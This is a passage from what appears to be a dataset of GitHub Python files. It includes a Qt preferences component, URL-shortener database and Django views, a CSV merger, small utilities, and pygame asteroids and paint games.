self.Verbose_Level_comboBox.activated.connect(self.__Verbose_Level_comboBox__activated)\n self.Restore_Geometry_On_Layout_Change_checkBox.stateChanged.connect(\n self.__Restore_Geometry_On_Layout_Change_checkBox__stateChanged)\n\n self.initialized_ui = True\n return True\n\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def uninitialize_ui(self):\n \"\"\"\n Uninitializes the Component ui.\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' Component ui cannot be uninitialized!\".format(self.__class__.__name__, self.name))\n\n def add_widget(self):\n \"\"\"\n Adds the Component Widget to the engine.\n\n :return: Method success.\n :rtype: bool\n \"\"\"\n\n LOGGER.debug(\"> Adding '{0}' Component Widget.\".format(self.__class__.__name__))\n\n self.__engine.addDockWidget(Qt.DockWidgetArea(self.__dock_area), self)\n\n return True\n\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def remove_widget(self):\n \"\"\"\n Removes the Component Widget from the engine.\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' Component Widget cannot be removed!\".format(self.__class__.__name__, self.name))\n\n def __engine__verbosity_level_changed(self, verbosity_level):\n \"\"\"\n Defines the slot triggered by the engine when verbosity level has changed.\n\n :param verbosity_level: Current verbosity level.\n :type verbosity_level: int\n \"\"\"\n\n self.Verbose_Level_comboBox.setCurrentIndex(verbosity_level)\n\n def __Logging_Formatters_comboBox_set_ui(self):\n \"\"\"\n Fills **Logging_Formatter_comboBox** Widget.\n \"\"\"\n\n self.Logging_Formatters_comboBox.clear()\n LOGGER.debug(\"> Available logging formatters: '{0}'.\".format(\", \".join(RuntimeGlobals.logging_formatters)))\n self.Logging_Formatters_comboBox.insertItems(0, QStringList(RuntimeGlobals.logging_formatters.keys()))\n logging_formatter = self.__settings.get_key(\"Settings\", \"logging_formatter\").toString()\n self.__engine.logging_active_formatter = logging_formatter and logging_formatter or Constants.logging_default_formatter\n self.Logging_Formatters_comboBox.setCurrentIndex(self.Logging_Formatters_comboBox.findText(\n self.__engine.logging_active_formatter, Qt.MatchExactly))\n\n def __Logging_Formatters_comboBox__activated(self, index):\n \"\"\"\n Defines the slot triggered by the **Logging_Formatter_comboBox** Widget when activated.\n\n :param index: ComboBox activated item index.\n :type index: int\n \"\"\"\n\n formatter = foundations.strings.to_string(self.Logging_Formatters_comboBox.currentText())\n LOGGER.debug(\"> Setting logging formatter: '{0}'.\".format(formatter))\n RuntimeGlobals.logging_active_formatter = formatter\n self.set_logging_formatter()\n self.__settings.set_key(\"Settings\", \"logging_formatter\", self.Logging_Formatters_comboBox.currentText())\n\n def __Verbose_Level_comboBox_set_ui(self):\n \"\"\"\n Fills **Verbose_Level_ComboBox** Widget.\n \"\"\"\n\n self.Verbose_Level_comboBox.clear()\n LOGGER.debug(\"> Available verbose levels: '{0}'.\".format(Constants.verbosity_labels))\n self.Verbose_Level_comboBox.insertItems(0, QStringList(Constants.verbosity_labels))\n self.__engine.verbosity_level = foundations.common.get_first_item(\n self.__settings.get_key(\"Settings\", \"verbosity_level\").toInt())\n self.Verbose_Level_comboBox.setCurrentIndex(self.__engine.verbosity_level)\n\n def __Verbose_Level_comboBox__activated(self, index):\n \"\"\"\n Defines the slot triggered by the **Verbose_Level_ComboBox** Widget when activated.\n\n :param index: ComboBox activated item index.\n :type index: int\n \"\"\"\n\n LOGGER.debug(\"> Setting verbose level: '{0}'.\".format(self.Verbose_Level_comboBox.currentText()))\n self.__engine.verbosity_level = index\n foundations.verbose.set_verbosity_level(index)\n self.__settings.set_key(\"Settings\", \"verbosity_level\", index)\n\n def __Restore_Geometry_On_Layout_Change_checkBox_set_ui(self):\n \"\"\"\n Sets the **Restore_Geometry_On_Layout_Change_checkBox** Widget.\n \"\"\"\n\n # Adding settings key if it doesn't exists.\n self.__settings.get_key(\"Settings\", \"restore_geometry_on_layout_change\").isNull() and \\\n self.__settings.set_key(\"Settings\", \"restore_geometry_on_layout_change\", Qt.Unchecked)\n\n restore_geometry_on_layout_change = foundations.common.get_first_item(\n self.__settings.get_key(\"Settings\", \"restore_geometry_on_layout_change\").toInt())\n LOGGER.debug(\"> Setting '{0}' with value '{1}'.\".format(\"Restore_Geometry_On_Layout_Change_checkBox\",\n restore_geometry_on_layout_change))\n self.Restore_Geometry_On_Layout_Change_checkBox.setCheckState(restore_geometry_on_layout_change)\n self.__engine.layouts_manager.restore_geometry_on_layout_change = True if restore_geometry_on_layout_change else False\n\n def __Restore_Geometry_On_Layout_Change_checkBox__stateChanged(self, state):\n \"\"\"\n Defines the slot triggered by **Restore_Geometry_On_Layout_Change_checkBox** Widget when state changed.\n\n :param state: Checkbox state.\n :type state: int\n \"\"\"\n\n LOGGER.debug(\"> 'Restore Geometry On Layout Change' state: '{0}'.\".format(state))\n self.__settings.set_key(\"Settings\", \"restore_geometry_on_layout_change\", state)\n self.__engine.layouts_manager.restore_geometry_on_layout_change = state and True or False\n\n def set_logging_formatter(self):\n \"\"\"\n Sets the logging formatter.\n \"\"\"\n\n for handler in (RuntimeGlobals.logging_console_handler,\n RuntimeGlobals.logging_file_handler,\n RuntimeGlobals.logging_session_handler):\n handler and handler.setFormatter(\n RuntimeGlobals.logging_formatters[RuntimeGlobals.logging_active_formatter])\n","repo_name":"KelSolaar/Umbra","sub_path":"umbra/components/factory/preferences_manager/preferences_manager.py","file_name":"preferences_manager.py","file_ext":"py","file_size_in_byte":12952,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"40099930104","text":"import pymongo\n\npassword = \"\"\nurl = f\"mongodb+srv://jaco13_python:{password}@github-projects.a4nag.mongodb.net/?retryWrites=true&w=majority\"\n\nclass Database:\n def __init__(self):\n self.client = pymongo.MongoClient(url)\n\n def add_short_url(self, short_url: str, long_url: str, timestamp: str) -> None:\n database = self.client[\"URL-Shortener\"]\n collection = database[\"urls\"]\n\n collection.insert_one(\n {\n \"short_url\": short_url,\n \"long_url\": long_url,\n \"created_date\": timestamp,\n \"last_visit\": \"\",\n \"visits\": 0\n }\n )\n\n def delete_url(self, short_url: str) -> None:\n database = self.client[\"URL-Shortener\"]\n collection = database[\"urls\"]\n\n collection.delete_one({\"short_url\": short_url})\n\n def get_data_from_short_url(self, short_url: str) -> dict:\n database = self.client[\"URL-Shortener\"]\n collection = database[\"urls\"]\n\n return collection.find_one({\"short_url\": short_url})\n\n def add_visits(self, short_url: str, timestamp: str) -> None:\n database = self.client[\"URL-Shortener\"]\n collection = database[\"urls\"]\n\n collection.update_one(\n {\"short_url\": short_url},\n {\n \"$inc\": {\"visits\": 1},\n \"$set\": {\"last_visit\": timestamp}\n },\n )\n\n def get_stats(self):\n database = self.client[\"URL-Shortener\"]\n collection = database[\"urls\"]\n\n return collection.count_documents({})\n\n def get_all_data(self):\n database = self.client[\"URL-Shortener\"]\n collection = database[\"urls\"]\n\n return collection.find()","repo_name":"Ocayy/URL-Shortener","sub_path":"UTILS/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43359311639","text":"from os import mkdir as os_mkdir\nfrom os.path import exists as os_path_exists\nfrom json import dump as json_dump\n\ndef save_data_to_json_file(data, jsonFilePath, indentation=None):\n os_mkdir(jsonFilePath) if (not os_path_exists(jsonFilePath)) else True\n if (indentation):\n print(\"\\n{}\".format(indentation))\n print(\"Saving data to '{}'... \".format(indentation, jsonFilePath), end=\"\")\n with open(jsonFilePath, \"w\", encoding=\"utf-8\") as f:\n json_dump(data, f, ensure_ascii=False, sort_keys=True, indent=4)\n print(\"Done. \\n\")\n","repo_name":"YeungShaoFeng/libxib","sub_path":"python/json_stuff.py","file_name":"json_stuff.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4725644616","text":"class Solution:\n \"\"\"\n Exhaustive approach\n TC - O(n^2)\n SC - O(1)\n \"\"\"\n\n def approach1(self, h):\n maxx = 0\n for i in range(len(h)):\n for j in range(i + 1, len(h)):\n maxx = max(maxx, min(h[i], h[j]) * (j - i))\n return maxx\n\n \"\"\"\n Two pointer approach \n TC - O(n)\n SC - O(1)\n \"\"\"\n\n def approach2(self, h):\n maxx, left, right = 0, 0, len(h) - 1\n while (left < right):\n maxx = max(maxx, min(h[left], h[right]) * (right - left))\n if h[left] < h[right]:\n left += 1\n else:\n right -= 1\n return maxx\n\n def maxArea(self, height: List[int]) -> int:\n if height is None or not height:\n return 0\n return self.approach2(height)","repo_name":"tamaghan/Two-Pointers-1","sub_path":"Problem_3.py","file_name":"Problem_3.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"71648167762","text":"from PIL import Image, ImageTk\nimport os\n\n################################################# WINDOWS ############################################\n\nimport win32com.client \nfrom win32com.shell import shell, shellcon\nimport win32api\nimport win32con\nimport win32ui\nimport win32gui\n\n\ndef saveExecutableIcon(exe, out=\"tmp/icon.png\"):\n shell = win32com.client.Dispatch(\"WScript.Shell\")\n ico_x = win32api.GetSystemMetrics(win32con.SM_CXICON)\n ico_y = win32api.GetSystemMetrics(win32con.SM_CYICON)\n large, small = win32gui.ExtractIconEx(exe, 0)\n win32gui.DestroyIcon(small[0])\n hdc = win32ui.CreateDCFromHandle( win32gui.GetDC(0) )\n hbmp = win32ui.CreateBitmap()\n hbmp.CreateCompatibleBitmap( hdc, ico_x, ico_x )\n hdc = hdc.CreateCompatibleDC()\n hdc.SelectObject( hbmp )\n hdc.DrawIcon( (0,0), large[0] )\n hbmp.SaveBitmapFile( hdc, out)\n img = Image.open(out)\n img.save(out, 'png')\n\n\ndef followLink(link: str):\n shell = win32com.client.Dispatch(\"WScript.Shell\")\n shortcut = shell.CreateShortCut(lnk)\n return (shortcut.Targetpath, shortcut.Arguments)\n\n","repo_name":"GuglielmoFelici/non-addictive-launcher","sub_path":"portable_utils.py","file_name":"portable_utils.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32756775","text":"# 동전 2\n\"\"\"\ndynamic programming\n\n풀이방법\n- 코인을 오름차순 정렬 후 dp[i] = dp[i - coin] + 1 해준다\n\"\"\"\nimport math\n\nn, k = map(int, input().split())\n\ncoins = [int(input()) for _ in range(n)]\ncoins.sort()\n\nINF = math.inf\n\ndp = [INF] * (k + 1)\ndp[0] = 0\n\nfor coin in coins:\n for i in range(1, k + 1):\n if i - coin >= 0:\n if dp[i] > dp[i - coin] + 1:\n dp[i] = dp[i - coin] + 1\n\nif dp[k] == INF:\n print(-1)\nelse:\n print(dp[k])\n","repo_name":"limgeonho/Algorithm-1","sub_path":"BOJ/Dynamic-Programming/[BOJ]2294.py","file_name":"[BOJ]2294.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30228934751","text":"from django.shortcuts import render, redirect\nfrom .models import short_urls\nfrom .forms import UrlForm\nfrom .shortener import shortener\nfrom django.core.paginator import Paginator\n\n# Create your views here.\n\ndef Home(request, token):\n url = short_urls.objects.filter(short_url=token)[0]\n return redirect(url.long_url)\n\n\ndef Make(request):\n form = UrlForm(request.POST or None)\n url = ''\n is_error = False\n if request.method == 'POST':\n if form.is_valid():\n newUrl = form.save()\n url = shortener().issue_token()\n newUrl.short_url = url\n newUrl.save()\n return redirect(\"/records\")\n else:\n form = UrlForm()\n is_error = True\n url = \"Entered URL exists in our records... Please check records tab.\"\n return render(request, 'home.html', {'form': form, 'url': url, 'is_error': is_error})\n\n\ndef Records(request):\n host = request.headers['Host']\n urls = short_urls.objects.all()\n paginator = Paginator(urls, 8)\n page = request.GET.get('page')\n urls = paginator.get_page(page)\n return render(request, 'records.html', {'urls': urls, 'host': host})\n\n\ndef About(request):\n return render(request, 'about.html', {'name': 'Arun'})\n","repo_name":"arun21/django_url_shortener","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"20114951779","text":"import os\nfrom incentive_helper.main import IncentiveHelper\n\n\nif __name__ == '__main__':\n\n filter_info = dict()\n filter_info['date_from'] = '2020-10-08 00:00:00'#'2021-05-27 00:00:00'\n filter_info['date_end'] = '2022-12-22 23:59:59' #'2022-07-18 23:59:59'\n\n config = dict()\n config['config_network'] = 'mocMainnet2'\n config['connection_network'] = 'rskMainnetPublic'\n config['mongo_uri'] = 'mongodb://localhost:27017/'\n config['mongo_db'] = 'doc_mainnet_rewards'\n config['path_report'] = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'report')\n\n incentive_helper = IncentiveHelper(config)\n incentive_helper.report_incentive_accumulated(filter_info)\n\n\n","repo_name":"money-on-chain/MoC_Incentive_Helper","sub_path":"incentive_accumulated.py","file_name":"incentive_accumulated.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74783577360","text":"import pygame\nimport math\nimport random\nimport os\n\nbullet_group = pygame.sprite.Group()\nexplosion_img = pygame.transform.scale(pygame.image.load(\n os.path.join('Assets', 'explosion.png')), (25,25))\npower_img = pygame.transform.scale(pygame.image.load(\n os.path.join('Assets', 'power_up.png')), (25,50))\n \nexplosions_q = []\n#-------------------------------------------------\n#class for the player\n#-------------------------------------------------\nclass player():\n '''\n Class that creates the playable character, along with the different functions that the player can do\n\n Attributes:\n image: image of the player, what they are displayed as on the screen\n colour: colour theme of the image, a RGB tuple\n points: int value representing the amount of points collected by the player\n width: int value of the width of avatar/image\n height: int value of the height of avatar/image\n x_pos: int value of the horizontal position of the player on the screen\n y_pos: int value of the vertical position of the player on the screen\n contorls: list of the specific controls the user uses to contorl the avatar\n angle: int value of the angle the player is rotated at\n rotated_surf: the image but rotated\n rect: rectangle of the rotated avatar\n rect.center: center value of the rectangle of avatar, a pygame.Rect function\n cosine: cosine value of the angle the avatar is rotated at\n sine: sine value of the angle the avatar is rotated at\n head: x and y position of the head of avatar\n bullets: sprite group of the bullets that the player fired\n last_fired: int value acting as a interval tracker to limit bullet spamming\n lives: int value representing number of lives left till dying\n immortal: bool value indicating if the user is currently immortal (meaning that nothing will take a life)\n fire_sound: file from assets folder\n bullet_interval: interval in which bullets can be fired\n rapid_fire: bool value to indicate the state of player, if they are power up or not\n power_up_time: int value indicating the time when the player just got the power up\n '''\n #set the variables and attributes for the user\n def __init__ (self, pos, player_img, colour, controls, fire_sound):\n '''\n Creates attributes for the player class\n\n args:\n player_img: image\n colour: string\n points: int\n keys_pressed: list\n controls: list\n '''\n self.image = player_img\n self.colour = colour\n self.width = self.image.get_width()\n self.height = self.image.get_height()\n self.x_pos = pos[0]\n self.y_pos = pos[1]\n self.init_pos = (pos[0], pos[1])\n #0: left, 1: right, 2: up, 3: down\n self.controls = controls\n self.angle = 0\n self.rotate_surf = pygame.transform.rotate(self.image, self.angle)\n \n self.rect = self.rotate_surf.get_rect()\n self.rect.center = (self.x_pos, self.y_pos)\n #get direction of where the player is facing\n self.cosine = math.cos(math.radians(self.angle + 90))\n self.sine = math.sin(math.radians(self.angle + 90))\n #get coordinates of the head of the image\n self.head = (self.x_pos + self.cosine + self.width//2, self.y_pos - self.sine*self.height//2)\n self.bullets = pygame.sprite.Group()\n self.last_fired = 0\n self.points = 0\n self.lives = 5\n self.immor = False\n self.immor_count = 0\n self.fire_sound = fire_sound\n self.bullet_interval = 120\n self.rapid_fire = False\n self.power_up_time = 0\n\n\n #function to help put the \n def draw(self, WINDOW, WIDTH, HEIGHT):\n '''\n puts the players on the window during the game and every update of screen. Also redraws every bullet but after it was moved\n\n parameters:\n self: the object itself\n WINDOW: the window where everything is drawn on\n WIDTH: int value of the window width\n HEIGHT: int value of the window height\n\n Returns:\n None\n '''\n WINDOW.blit(self.rotate_surf, self.rect)\n if self.immor:\n #draws rect around user if immortal\n pygame.draw.rect(WINDOW, self.colour, self.rect, 2)\n if self.rapid_fire:\n #draws a circle around user to indicate power up\n pygame.draw.circle(WINDOW, (0,255,0), self.rect.center, 50, width=2)\n #iterates through the players bullets and draws them\n for bullet in self.bullets:\n bullet.move()\n bullet.draw(WINDOW)\n if bullet.check_off_screen(WIDTH, HEIGHT):\n self.bullets.remove(bullet)\n\n def turnLeft(self):\n '''\n function to change the angle of which the user is facing when specific key is pressed\n\n Parameters:\n self: object itself\n\n Returns:\n None\n '''\n self.angle += 5\n self.rotate_surf = pygame.transform.rotate(self.image, self.angle)\n self.rect = self.rotate_surf.get_rect()\n self.rect.center = (self.x_pos, self.y_pos)\n #get direction of where the player is facing\n self.cosine = math.cos(math.radians(self.angle + 90))\n self.sine = math.sin(math.radians(self.angle + 90))\n self.head = (self.x_pos + self.cosine * self.width//2, self.y_pos - self.sine*self.height//2)\n\n def turnRight(self):\n '''\n function to change the angle of which the user is facing when specific key is pressed\n\n Parameters:\n self: object itself\n\n Returns:\n None\n '''\n self.angle -= 5\n #rotate the image\n self.rotate_surf = pygame.transform.rotate(self.image, self.angle)\n #roate rect\n self.rect = self.rotate_surf.get_rect()\n self.rect.center = (self.x_pos, self.y_pos)\n #get direction of where the player is facing\n self.cosine = math.cos(math.radians(self.angle + 90))\n self.sine = math.sin(math.radians(self.angle + 90))\n self.head = (self.x_pos + self.cosine * self.width//2, self.y_pos - self.sine*self.height//2)\n \n \n def moveForward(self):\n '''\n function to make the avatar move forward when forward key is pressed\n\n Parameters:\n self: object itself\n\n Returns:\n None\n '''\n self.x_pos += self.cosine*5\n self.y_pos -= self.sine*5\n self.rotate_surf = pygame.transform.rotate(self.image, self.angle)\n self.rect = self.rotate_surf.get_rect()\n self.rect.center = (self.x_pos, self.y_pos)\n #get direction of where the player is facing\n self.cosine = math.cos(math.radians(self.angle + 90))\n self.sine = math.sin(math.radians(self.angle + 90))\n self.head = (self.x_pos + self.cosine * self.width//2, self.y_pos - self.sine*self.height//2)\n\n def moveBackward(self):\n '''\n function to make the avatar move backward when specific key is pressed\n \n Parameters:\n self: object itself\n\n Returns:\n None\n '''\n self.x_pos -= self.cosine*5\n self.y_pos += self.sine*5\n self.rotate_surf = pygame.transform.rotate(self.image, self.angle)\n self.rect = self.rotate_surf.get_rect()\n self.rect.center = (self.x_pos, self.y_pos)\n #get direction of where the player is facing\n self.cosine = math.cos(math.radians(self.angle + 90))\n self.sine = math.sin(math.radians(self.angle + 90))\n self.head = (self.x_pos + self.cosine * self.width//2, self.y_pos - self.sine*self.height//2)\n\n def actions(self, keys_pressed, WINDOW, time):\n '''\n function to activate each moving function if a specific key of the player is pressed\n \n Parameters:\n self: player object itself\n keys_pressed: list of the personalized keys for the player to move\n WINDOW: screen for the game\n time: int value of the current time in the game\n \n Returns:\n None\n '''\n #runs functions depending on what keys are pressed\n if keys_pressed[self.controls[0]]:\n self.turnLeft()\n if keys_pressed[self.controls[1]]:\n self.turnRight()\n if keys_pressed[self.controls[2]]:\n self.moveForward() \n if keys_pressed[self.controls[3]]:\n self.moveBackward()\n if keys_pressed[self.controls[4]]:\n #use bruteforce to create a time interval between when bullets can be created\n if time-self.last_fired >=self.bullet_interval:\n new_bullet = bullet(self, WINDOW)\n self.fire_sound.play()\n new_bullet.draw(WINDOW)\n self.bullets.add(new_bullet)\n self.last_fired = time\n bullet_group.add(new_bullet)\n\n def update_location(self, WIDTH, HEIGHT):\n '''\n function to move the player if they go off screen\n\n Parameters:\n self: player object\n WIDTH: int value of the width of screen\n HEIGHT: int value of the width of screen\n \n Returns:\n None\n '''\n #lets user not run out of the screen\n if self.x_pos > WIDTH: self.x_pos = 1\n #use elif to skip additional checking\n elif self.x_pos < 0: self.x_pos = WIDTH-1\n if self.y_pos > HEIGHT: self.y_pos = 1\n elif self.y_pos < 0: self.y_pos = HEIGHT-1\n\n def immor_check(self,current_time):\n '''\n checks if the player should still be immortal\n\n Parameters:\n self: object\n current_time: int value of time in game\n '''\n #checks how long the player has been immortal\n if current_time - self.immor_count > 2000: #2 seconds\n self.immor = False\n self.immor_count = 0\n\n def die_respawn(self, time):\n '''\n kills player and relocates them after they lose all health\n\n parameters:\n self: object\n time: current time in game\n '''\n #resets position of user and all status\n self.immor = True\n self.immor_count = time\n self.x_pos = self.init_pos[0]\n self.y_pos = self.init_pos[1]\n self.angle = 0\n self.lives = 5\n\n def power_up_timer(self, time):\n #finds time on how long the player had the power up\n if time - self.power_up_time > 5000:\n self.bullet_interval = 120\n self.rapid_fire = False\n\n\nclass bullet(pygame.sprite.Sprite):\n '''\n class that creates a bullet object for player to fire\n\n Attributes:\n point: tuple of coordinates for the front of the avatar\n x,y: x and y coordinates of point\n w: width of bullet\n h: height of bullet\n c = cosine angle value of player\n s = sine angle value of player\n xvelocity: how much the bullet should move horizontally, when angle is taken into consideration\n yvelocity: how much the bullet should move vertically, when angle is taken into consideration\n rect: a rectangle to represent the bullet itself\n colour: colour of bullets the same as the colour of the avatar, tuple in RGB values\n '''\n def __init__(self, player, WINDOW):\n '''\n initialize and set the values for bullet attributes\n\n Parameters:\n self: object itself\n player: player object, since the bullets are personalized towards that specific person\n WINDOW: the window screen\n '''\n #call the parent class sprite constructor, making the object a sprite\n pygame.sprite.Sprite.__init__(self)\n #point of creations/release of bullet\n self.point = player.head\n #x and y of the head coordinate\n self.x, self.y = self.point\n #width and height of bullet\n self.w = 4\n self.h = 4\n #get sine and cosine of the player, to know which direction the player is facing when fired so it can go in the direction\n self.c = player.cosine\n self.s = player.sine\n #setting velocity of the bullets no matter the direction\n self.xvelocity = self.c*10\n self.yvelocity = self.s*10\n self.colour = player.colour\n self.rect = pygame.draw.rect(WINDOW, self.colour, [self.x, self.y, self.w, self.h])\n\n def move(self):\n '''\n moves the bullet by changing the position\n \n Parameters:\n self: bullet object itself\n \n Returns:\n None\n '''\n self.x += self.xvelocity\n self.y -= self.yvelocity\n\n def draw(self, WINDOW):\n '''\n draws the bullet on screen\n\n parameters:\n WINDOW: window itself\n\n returns:\n None\n '''\n #draws bullet\n self.rect = pygame.draw.rect(WINDOW, self.colour, [self.x, self.y, self.w, self.h])\n\n def check_off_screen(self, WIDTH, HEIGHT):\n '''\n function to check if the bullet is off screen, if it is delete it, because it could should asteroids out of the screen, and also wastes space\n\n parameter:\n WIDTH: width of window\n HEIGHT: height of window\n '''\n #checks if bullet is off screen\n if self.x < -1 or self.x > WIDTH or self.y <-1 or self.y > HEIGHT:\n return True\n\nclass asteroid_obj(pygame.sprite.Sprite):\n '''\n class to define the asteroid objects that the player can shoot down\n\n Attributes:\n rank: int value that is randomly determined to determine the size of asteroid\n img: the image of the transformed asteroid according to size\n rpoint: determines random point of where the asteroid should be created in the window\n x_pos, y_pos: x and y position of rpoint\n x_dir, y_dir: direction of the way the asteroid should move along the x and y axis\n x_vel, y_vel: velocity of the asteroid for x and y\n rect: hitbox of the asteroid\n '''\n def __init__(self, rank, WIDTH, HEIGHT, ASTEROID):\n '''\n function to initialize the object and assign values to its attributes\n\n Parameters:\n self: asteroid object itself\n rank: int value to determine size\n WIDTH: width of screen\n HEIGHT: height of screen\n ASTEROID: asteroid image\n\n Returns:\n None\n '''\n pygame.sprite.Sprite.__init__(self)\n self.rank = rank\n #decides image size depending on rank\n if self.rank == 1: self.height, self.width = (25,25) #small size\n elif self.rank == 2: self.height, self.width = (50,50) #medium size\n elif self.rank == 3: self.height, self.width = (75,75) #large size\n #transform size of asteroid\n self.img = pygame.transform.scale(ASTEROID, (self.height, self.width))\n #mainly two parts of the list, to appear from the top or bottom, or from the sides\n #the .randrange() indicates the random value that could be anything, then the .choice() is where the the side it pops out from\n #-1*self.height is when the asteroid is going to appear on the top, in consideration with the images size\n self.rpoint = random.choice([(random.randrange(0, WIDTH-self.width), random.choice([-1*self.height-5, HEIGHT+5])), (random.choice([-1*self.width-5, WIDTH+5]), random.randrange(0, HEIGHT))])\n #gets seperate x and y coordinates\n self.x_pos, self.y_pos = self.rpoint\n #finds the starting point of the asteroid and determindes the direction which the asteroid will go, up or down & left or right\n if self.x_pos < WIDTH//2: self.x_dir = 1\n else: self.x_dir = -1\n if self.y_pos < HEIGHT//2: self.y_dir = 1\n else: self.y_dir = -1\n #velocity of asteroid in x and y\n self.x_vel = self.x_dir*random.randrange(1,3)\n self.y_vel = self.y_dir*random.randrange(1,3)\n self.rect = pygame.Rect((self.x_pos, self.y_pos), (self.width, self.height))\n\n def movement(self):\n '''\n moves the asteroid every frame\n \n Parameters:\n self: asteroid object itself with its attributes\n\n Returns:\n None\n '''\n\n self.x_pos += self.x_vel\n self.y_pos += self.y_vel\n #self.rect is attribute needed for collision function\n self.rect = self.img.get_rect()\n #asteroid hitbox\n self.rect = pygame.Rect((self.x_pos, self.y_pos), (self.width, self.height))\n \n\n def draw(self, WINDOW):\n '''\n draws the asteroid every frame onto the window\n\n Parameters:\n self: object attributes\n WINDOW: the screen\n\n Returns: \n None\n '''\n WINDOW.blit(self.img, (self.x_pos, self.y_pos))\n \n def check_off_screen(self, WIDTH, HEIGHT):\n '''\n checks if the asteroid is too off screen, returning true if it is so it can be deleted\n \n Parameters:\n self: object\n WIDTH: window width\n HEIGHT: width height\n \n Returns:\n destroy: bool\n '''\n if self.x_pos < -70 or self.x_pos > WIDTH+4 or self.y_pos <-70 or self.y_pos > HEIGHT+4:\n return True\n\n def destroy_respawn(self, a, WIDTH, HEIGHT, ASTEROID, asteroids):\n '''\n if the asteroid is hit, it removes itself from the group and generates smaller asteroids from it\n\n Parameters:\n a: asteroid object\n WIDTH: width of screen\n HEIGHT: height of screen\n ASTEROID: asteroid image\n asteroids: sprite group of the asteroids on screen\n\n returns:\n None\n '''\n ran = random.randrange(2,4)\n for x in range(ran):\n new_asteroid = asteroid_obj(a.rank-1, WIDTH, HEIGHT, ASTEROID)\n new_asteroid.x_pos = a.x_pos\n new_asteroid.y_pos = a.y_pos \n asteroids.add(new_asteroid)\n\nclass explosion():\n '''\n class to define the explosion of asteroids after being destroyed\n\n Attributes:\n img: a file from assets\n pos: a tuple of the position of asteroid when destroyed\n '''\n def __init__ (self,x,y):\n '''\n Parameters:\n self: the object\n x: int value of x position\n y: int value of y position\n \n Returns:\n None\n '''\n self.img = explosion_img\n #position of asteroid\n self.pos = (x,y)\n def draw(self, WINDOW):\n '''\n Draws the explosion image at the position on window\n Parameters\n self: object\n WINDOW: the window of the game\n\n '''\n WINDOW.blit(self.img, self.pos)\n def enter_q(self, time):\n '''\n Function that enters the explosion and time of explosion to a queue (list)\n\n Parameters:\n self: object\n time: int\n Returns:\n none\n '''\n #enters list and once it reaches the 3 second time limit it is removed from queue\n explosions_q.append((self, time))\n\nclass power_up(pygame.sprite.Sprite):\n '''\n class to create power up images in game\n\n Attributes:\n x: random int value\n y: random int value\n W: int width of rect\n H: int width of rect\n duration: int value to indicate how long the bullet should stay for\n img: image\n rect: pygame rect\n time: int value of time\n '''\n\n def __init__(self, time):\n '''\n initialize the sprite\n\n Parameters:\n self: object\n time: int value\n\n Returns:\n None\n '''\n pygame.sprite.Sprite.__init__(self)\n\n self.x = random.randrange(10, 990)\n self.y = random.randrange(10, 740)\n self.W = 15\n self.H = 30\n self.duration = 5\n self.img = power_img\n self.rect = pygame.Rect((self.x, self.y), (self.W, self.H))\n self.time = time\n\n def draw(self, WINDOW):\n '''\n draws the image at a random spot\n \n Parameters:\n self: object\n WINDOW: pygame window\n\n Returns:\n None\n '''\n #draws image\n WINDOW.blit(self.img, (self.x, self.y))","repo_name":"hd9189/Python_Projects","sub_path":"personal/randomProjects/games/school_final_project/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":18432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32775103139","text":"from classes.CSVSplitter import CSVSplitter\n\n\nclass CSVMerger:\n \"\"\"\n Class for merging two or more CSV files.\n \"\"\"\n\n @staticmethod\n def merge_csv_files(source_1_lines: list, source_2_lines: list, delimiter: str = \";\") -> list:\n \"\"\"\n Merge tw or more CSV files lines.\n\n :param source_1_lines: lines of the source files as list\n :param source_2_lines: lines of the source files as list\n :param delimiter: delimiter to use to seaparate columns\n :return: new merged lines as single list\n \"\"\"\n if not delimiter:\n delimiter = \";\"\n print(source_1_lines)\n new_lines = []\n column_count = len(source_1_lines)\n for index in range(column_count):\n new_line = source_1_lines[index].replace(\"\\n\", delimiter) + source_2_lines[index]\n new_lines.append(new_line)\n\n return new_lines\n","repo_name":"pinocode/csv-tool","sub_path":"classes/CSVMerger.py","file_name":"CSVMerger.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35854456594","text":"#Imports\nimport random\nimport pygame\nimport math\n\n#Create a function of main, where discribed the progress of work paint\ndef main():\n #Creating a black screen\n screen = pygame.display.set_mode((800, 600))\n screen.fill((0, 0, 0))\n #Creating a surface for intermediate rendering of figures\n work_surf = pygame.Surface((800, 600)) \n #To define color of figure\n mode = 'random' \n draw_on = False \n #tuple of the initial coordinates of figure\n last_pos = (0, 0) \n #The initial color\n color = (255, 128, 0) \n #Length thickness\n radius = 1\n #To define what figure we picked\n figure = 'pen' \n #Creating colors\n colors = {\n 'red': (255, 0, 0),\n 'blue': (0, 0, 255),\n 'green': (0, 255, 0)\n }\n #A function to define the coordinates, length and width of rectangle\n def Rect_pos(x1, y1, x2, y2): \n return pygame.Rect(min(x1, x2), min(y1, y2), 